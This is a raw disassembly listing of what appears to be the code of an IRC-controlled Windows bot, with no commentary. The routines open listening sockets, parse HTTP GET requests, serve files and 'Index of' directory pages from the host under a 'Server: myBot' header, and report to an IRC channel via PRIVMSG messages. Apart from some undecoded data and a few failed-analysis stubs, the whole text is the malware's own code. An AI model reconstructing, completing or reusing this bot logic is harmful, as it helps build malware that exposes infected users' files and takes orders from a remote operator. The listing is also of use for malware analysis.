0B445C766h, 15FF0002h dd 4CB654h, 0B6458966h, 6AB4458Dh, 90575010h, 6A5481E8h dd 7DC08571h, 0E9C38B07h, 560h, 90570A6Ah, 6A7381E8h, 0D49D8971h dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 2DF2E890h, 0F883716Ah dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0CABFE8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 17C75E8h, 0FC08500h, 4BA84h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A9B84E8h dd 0FFF88371h, 491840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h dd 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h, 6AFFFFFDh dd 0E8575064h, 716A6B18h, 7FC08590h, 0D4958B52h, 33FFFFFDh dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh dd 57FFFFFDh, 6A2EA4E8h, 0D4E99071h, 8D000003h, 0FFFCC885h dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 433ECCh dd 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h, 71E85000h dd 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h, 82E90043h dd 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h, 0D44Ch dd 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h, 0FF50858Dh dd 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h, 560A7559h dd 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh, 433E6Ch dd 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h, 433E58h dd 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h, 590000D3h dd 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h, 0BF000002h dd 433E2Ch, 0FF50858Dh, 5057FFFFh, 0D3C3E8h, 0C0855900h dd 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h, 0D3ACh dd 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h, 8D000002h dd 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h, 858D2475h dd 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h, 7559C085h dd 136A560Dh, 433DFC68h, 27BE900h, 858D0000h, 0FFFFFF50h dd 433DF468h, 51E85000h, 590000D3h, 7559C085h, 0BE0A6A34h dd 433DC8h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h dd 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h, 875FF50h dd 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh, 433DC0h, 0D306E850h dd 85590000h, 2A7559C0h, 0A8BE056Ah, 5900433Dh, 0FF38BD8Dh dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C250h dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 433DA068h dd 0C5E85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E845h dd 8D50E045h, 8D50D845h, 0FFFD6085h, 3D7868FFh, 0E8500043h dd 0D861h, 0FF04858Dh, 0E850FFFFh, 0C989h, 858DF88Bh, 0FFFFFD2Ch dd 0C97BE850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh dd 0C780h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 3D706857h dd 0E8500043h, 0CA5Eh, 858D106Ah, 0FFFFFF04h, 8EE85056h dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E8458D50h, 0E0458D50h dd 0D8458D50h, 0C4458D50h, 433D6468h, 2BE85000h, 830000CAh dd 6A5618C4h, 3D44681Dh, 1EE90043h, 8D000001h, 0FFFF5085h dd 3D3C68FFh, 0E8500043h, 0D1F4h, 59C08559h, 0E4850Fh dd 6A560000h, 3D106828h, 75FF0043h, 0FFD3FF08h, 458DF475h dd 20E850C4h, 59000001h, 5901F883h, 0B6850Fh, 458D0000h dd 858D50C4h, 0FFFFF720h, 433CF468h, 0C7E85000h, 830000C9h dd 0B5390CC4h, 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh dd 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 0AB89E8FFh dd 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h, 56000000h dd 0DC68176Ah, 0FF00433Ch, 0D3FF0875h, 50C4458Dh, 0F720858Dh dd 0BC68FFFFh, 5000433Ch, 0C969E8h, 0CC48300h, 0FBBCB539h dd 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh dd 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFFAB2Bh, 8D14C483h dd 0FFF72085h, 56E850FFh, 0FF000062h, 4CE16005h, 2EEB5900h dd 68206A56h, 433C98h, 858D1FEBh, 0FFFFFF50h, 42D08468h dd 0F5E85000h, 590000D0h, 7559C085h, 1B6A560Dh, 433C7C68h dd 875FF00h, 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5F3E8h dd 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB01h dd 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CE3A8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE3A8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F037 push dword_4CE3A8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F037: ; CODE XREF: ___:0040F01Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2670000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D3 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B7 push edi mov edi, 400h loc_40F07F: ; CODE XREF: ___:0040F0B4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE3A8 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2680000h test byte ptr [esi+0Ch], 10h jz short loc_40F07F pop edi loc_40F0B7: ; CODE XREF: ___:0040F077j push esi call sub_41B05B pop ecx push dword_4CE3A8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40F0D3: ; CODE XREF: ___:0040F071j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D6 proc near ; DATA XREF: sub_401ACD+2284o ; sub_40BACE+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB654 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB6D4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E59C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CB680 cmp eax, 0FFFFFFFFh jz loc_40F4C1 push 7FFFFFFFh push edi call dword_4CB67C cmp eax, 0FFFFFFFFh jz loc_40F4C1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB6F0 cmp eax, 0FFFFFFFFh jz loc_40F4C1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AD: ; CODE XREF: sub_40F0D6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB63C cmp eax, 0FFFFFFFFh jz loc_40F4BC xor esi, esi mov [ebp+var_4], esi loc_40F1E3: ; CODE XREF: sub_40F0D6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB540 test eax, eax jz loc_40F4A7 cmp esi, [ebp+var_C] jnz short loc_40F265 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB6E8 cmp eax, 0FFFFFFFFh jz loc_40F4A7 xor ecx, ecx test ebx, ebx jbe short loc_40F237 lea edx, [ebp+var_134] loc_40F22B: ; CODE XREF: sub_40F0D6+15Fj cmp [edx], eax jz short loc_40F237 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22B loc_40F237: ; CODE XREF: sub_40F0D6+14Dj ; sub_40F0D6+157j cmp ecx, ebx jnz short loc_40F254 cmp ebx, 40h jnb short loc_40F254 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F254: ; CODE XREF: sub_40F0D6+163j ; sub_40F0D6+168j cmp eax, [ebp+var_8] jbe loc_40F4A7 mov [ebp+var_8], eax jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F265: ; CODE XREF: sub_40F0D6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB66C test eax, eax jg short loc_40F2F8 push esi call dword_4CB6EC xor ecx, ecx test ebx, ebx jbe loc_40F4A7 lea eax, [ebp+var_134] loc_40F2B7: ; CODE XREF: sub_40F0D6+1EBj cmp [eax], esi jz short loc_40F2C8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B7 jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F2C8: ; CODE XREF: sub_40F0D6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EC lea eax, [ebp+ecx*4+var_134] loc_40F2D6: ; CODE XREF: sub_40F0D6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D6 loc_40F2EC: ; CODE XREF: sub_40F0D6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F2F8: ; CODE XREF: sub_40F0D6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A7 loc_40F326: ; CODE XREF: sub_40F0D6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39F lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39F mov eax, offset asc_42D124 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B6 ; --------------------------------------------------------------------------- loc_40F39F: ; CODE XREF: sub_40F0D6+27Fj ; sub_40F0D6+291j lea eax, [ebp+var_18F0] push offset asc_433F14 ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3EA loc_40F3B6: ; CODE XREF: sub_40F0D6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CB: ; CODE XREF: sub_40F0D6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F326 jmp loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F3EA: ; CODE XREF: sub_40F0D6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F434 lea eax, [ebp+var_134] loc_40F3F6: ; CODE XREF: sub_40F0D6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F407 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F6 jmp short loc_40F437 ; --------------------------------------------------------------------------- loc_40F407: ; CODE XREF: sub_40F0D6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42B lea eax, [ebp+ecx*4+var_134] loc_40F415: ; CODE XREF: sub_40F0D6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F415 loc_40F42B: ; CODE XREF: sub_40F0D6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F437 ; --------------------------------------------------------------------------- loc_40F434: ; CODE XREF: sub_40F0D6+318j mov esi, [ebp+var_4] loc_40F437: ; CODE XREF: sub_40F0D6+32Fj ; sub_40F0D6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F4A0 lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F4A0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB6F0 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B4 add esp, 14h jmp short loc_40F4A7 ; --------------------------------------------------------------------------- loc_40F4A0: ; CODE XREF: sub_40F0D6+369j ; sub_40F0D6+38Fj push esi call dword_4CB6EC loc_40F4A7: ; CODE XREF: sub_40F0D6+11Dj ; sub_40F0D6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E3 jmp loc_40F1AD ; --------------------------------------------------------------------------- loc_40F4BC: ; CODE XREF: sub_40F0D6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C1: ; CODE XREF: sub_40F0D6+6Aj ; sub_40F0D6+92j ... call dword_4CB5E8 push eax lea eax, [ebp+var_8F0] push offset unk_433EEC push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F507 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A73 add esp, 14h loc_40F507: ; CODE XREF: sub_40F0D6+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC push [ebp+var_254] call sub_40B413 pop ecx push ebx call near ptr 26E0000h nop pop edi pop esi pop ebx sub_40F0D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F531 proc near ; DATA XREF: sub_40F6B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F597 push offset aTextHtml ; "text/html" jmp short loc_40F59C ; --------------------------------------------------------------------------- loc_40F597: ; CODE XREF: sub_40F531+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59C: ; CODE XREF: sub_40F531+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2730000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 2721327h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F615 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F636 ; --------------------------------------------------------------------------- loc_40F615: ; CODE XREF: sub_40F531+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F636: ; CODE XREF: sub_40F531+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CB6A4 cmp [ebp+var_A4], edi jnz short loc_40F676 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF1 pop ecx pop ecx jmp short loc_40F693 ; --------------------------------------------------------------------------- loc_40F676: ; CODE XREF: sub_40F531+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96B add esp, 10h loc_40F693: ; CODE XREF: sub_40F531+143j push [ebp+var_44C] call dword_4CB6EC push [ebp+var_B4] call sub_40B413 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi sub_40F531 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B4 proc near ; CODE XREF: sub_40F0D6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6EA push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F3 ; --------------------------------------------------------------------------- loc_40F6EA: ; CODE XREF: sub_40F6B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F3: ; CODE XREF: sub_40F6B4+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78E mov [ebp+arg_8], 2 loc_40F71E: ; CODE XREF: sub_40F6B4+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75E cmp [ebp+esi+var_10C], 25h jnz short loc_40F75E cmp [ebp+esi+var_10B], 32h jnz short loc_40F75E cmp [ebp+esi+var_10A], 30h jnz short loc_40F75E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F778 ; --------------------------------------------------------------------------- loc_40F75E: ; CODE XREF: sub_40F6B4+7Aj ; sub_40F6B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76E push 5Ch pop eax jmp short loc_40F771 ; --------------------------------------------------------------------------- loc_40F76E: ; CODE XREF: sub_40F6B4+B3j movsx eax, al loc_40F771: ; CODE XREF: sub_40F6B4+B8j mov [ebp+ebx+var_210], al loc_40F778: ; CODE XREF: sub_40F6B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71E loc_40F78E: ; CODE XREF: sub_40F6B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429ACC push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_42A0A0 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 2690000h nop push 1 cmp eax, 10h pop esi jz short loc_40F7DF cmp eax, 0FFFFFFFFh jnz short loc_40F7E2 push [ebp+arg_0] jmp loc_40F862 ; --------------------------------------------------------------------------- loc_40F7DF: ; CODE XREF: sub_40F6B4+11Cj mov [ebp+var_4], esi loc_40F7E2: ; CODE XREF: sub_40F6B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EF mov [ebp+var_4], esi loc_40F7EF: ; CODE XREF: sub_40F6B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86D cmp [ebp+arg_C], edi jz short loc_40F861 lea eax, [ebp+var_314] push offset asc_4341A0 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BC ; --------------------------------------------------------------------------- loc_40F861: ; CODE XREF: sub_40F6B4+152j push ebx loc_40F862: ; CODE XREF: sub_40F6B4+126j call dword_4CB6EC jmp loc_40F964 ; --------------------------------------------------------------------------- loc_40F86D: ; CODE XREF: sub_40F6B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 27009D7h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 27309A1h nop push esi mov [ebp+var_330], eax call near ptr 2660919h nop loc_40F8BC: ; CODE XREF: sub_40F6B4+1ABj ; sub_40F6B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_43416C push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F7 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E594[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F531 push edi push edi nop call near ptr 2680098h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E5A4[ecx], eax jz short loc_40F936 loc_40F924: ; CODE XREF: sub_40F6B4+280j cmp [ebp+var_318], edi jnz short loc_40F964 push 5 nop call near ptr 2680000h jmp short loc_40F924 ; --------------------------------------------------------------------------- loc_40F936: ; CODE XREF: sub_40F6B4+26Ej push ebx call dword_4CB6EC nop call near ptr 2680ABEh push eax lea eax, [ebp+var_8C4] push offset unk_434134 push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AD add esp, 10h loc_40F964: ; CODE XREF: sub_40F6B4+1B4j ; sub_40F6B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96B proc near ; CODE XREF: sub_401ACD+777Bp ; sub_40F531+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_42A0A0 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC9 ; --------------------------------------------------------------------------- loc_40F9CA: ; CODE XREF: sub_40F96B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAF call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC9 ; --------------------------------------------------------------------------- loc_40FAAF: ; CODE XREF: sub_40F96B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC9: ; CODE XREF: sub_40F96B+5Aj ; sub_40F96B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 cmp [ebp+arg_C], ebx 